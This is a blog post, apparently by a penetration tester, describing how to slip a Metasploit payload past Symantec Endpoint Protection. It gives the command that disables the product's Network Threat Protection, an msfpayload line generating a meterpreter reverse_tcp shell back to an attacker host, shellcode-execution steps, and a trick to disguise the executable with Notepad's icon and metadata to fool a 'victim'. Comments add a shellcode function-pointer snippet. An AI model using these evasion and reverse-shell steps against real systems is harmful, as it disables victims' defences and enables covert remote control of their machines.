Monday, March 11, 2013

AV Bypass: Symantec Endpoint Protection

While on an internal network assessment many months ago, Symantec Endpoint Protection kept catching my every move. Every thing I threw at it was flagged. I reached out to the community and in the end I was able to get past it using the technique described here. I had some time recently and decided to look at other ways of bypassing this particular AV - given that a recent client was also using it. I also decided to use the opportunity to review some Visual C++ code.

As it turns out, there are a myriad of ways to bypassing AV. Before we get started though, we need to lay some groundwork. Any anti-virus worth their salt is going to flag your metasploit payloads if you generate them using the default options. Trust me, I know. In fact, try it for yourself. Generate an empty payload and copy it to a box running an AV of your choice. There is a very high probability that it will get caught. ProTip: Do not copy your exe's to VirusTotal.

Now, most people will recommend encoding your payload to get around the issue. If you have tried that approach, you already know it doesn't work. What is important to note though, is that AV's are not actually flagging the payload but the templates in use. You can learn more about that here.

Armed with this knowledge it therefore means that in order for us to stand a chance, we must use our own custom templates.

For this tutorial I am using :
- Windows 7 (32-bit)
- Backtrack 5 R3
- Ditto (Nifty tool from Mubix)
- Symantec Endpoint Protection (Used version 12.1)

The idea for this post came from discussions with members of the community as well as this blog post.  The author takes the following approach:
  1. Allocate new executable memory region.
  2. Copy shellcode to memory allocated in step 1.
  3. Execute shellcode.
I had some issues with this in my environment and so I recreated the steps in Visual C++. My focus was specifically on getting the better of Symantec. Before I go on I would like to add a note on Reconnaissance. Most pentesters overlook this step choosing instead to jump right into attack mode.  However, I caution those who would take a similar a path. The success/failure of your engagement has a lot to do with the quality of your recon. It is important that you know as much as you about the client. So if during your recon you determine that the client is using Symantec Endpoint Protection, then grab a copy and hammer it in your lab. 

Now onto the fun stuff. I start by first of all making sure that when the executable is triggered, a window will not be displayed. The astute user aka victim should see only a flash. I then call the KillSymantec() function. This function will first take a snapshot of the running processes and once  completed will cycle through looking for the Symantec process i.e. "Smc.exe". 

Once found, I disable Network Threat Protection with the following command:

system("\"C:\\Program Files\\Symantec\\Symantec Endpoint Protection\\Smc.exe\" -disable -ntp");

Let me explain the reason behind this. The custom template by itself will bypass AV checks.  See below:



However, what I found happening was when I used a meterpreter reverse_tcp payload, the Network Threat Protection kicked in and flagged my activity. Of course there are numerous ways around this. One of which might be to use the reverse_https payload instead. However,  to have some fun I decided to just go ahead and disable it altogether. Of course an astute user might notice the warning indicating that her firewall was just disabled. So brush up on your social-engineering foo.

After disabling Threat Protection, we wait a couple seconds for our changes to take effect. We then generate our shellcode in metasploit:

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=443 R | msfencode -e x86/alpha_mixed

After that memory is allocated, taking the time to ensure that the correct attributes are set. We should be allowed to read and write to the area. We then copy our shellcode over and execute it. At this point you should see favorite screen:



To add a fun twist to our setup I decided to give mubix's ditto tool a run. From the readme ditto essentially :

"ditto takes a Windows exe as input and copies the resources of that binary into the target binary. Resources are usually icons, copywright info and descriptions of the binary."
 Using the following command I copied Notepad's resources into our custom executable:

C:\>ditto.exe C:\windows\system32\notepad.exe SEP_BYPASS.exe

So now our executable looks like this: 


And if our user decides to check the properties of the executable before execution they will be met with a familiar screen. Of course it goes without saying that you should name your executable appropriately.

The final code looks like this

Note also that when compiling for release make sure to change the Runtime Library options from Multi-threaded Debug DLL(/MDd). To do this, highlight the project click Properties -> Configuration Properties -> C/C++ - -> Code Generation -> Runtime Library option. That way all you need to copy to your victim is just the executable.

This was more about fun than anything else and is quick and dirty.  It is very specific to Symantec Endpoint Protection but could be extended. The idea is to adjust your approach per your engagement. For the C++ ninjas, I have not looked at C++ in a while so don't be hard on me :). 





3 comments:

  1. Thanks for your nice blog post and code. I just have a quick question. Why do we need to allocate the memory ourselves? Then make it executable, and lastly copy the shell code there? I have been doing this since long and all I do is assign the shell code to the array and then use function pointer to execute. It is working fine for me always.

    char payload[]=""//shell code assign here
    ((void(*)())payload)();

    ReplyDelete
  2. @darknight007: I am familiar with that method and have used it in the past. Have you ever had issues with DEP using that method?

    ReplyDelete
  3. DEP will usually kick in since you're trying to execute a portion of memory marked as data.
    To be on the save side, virtual protect/virtualalloc with read write execute first.

    ReplyDelete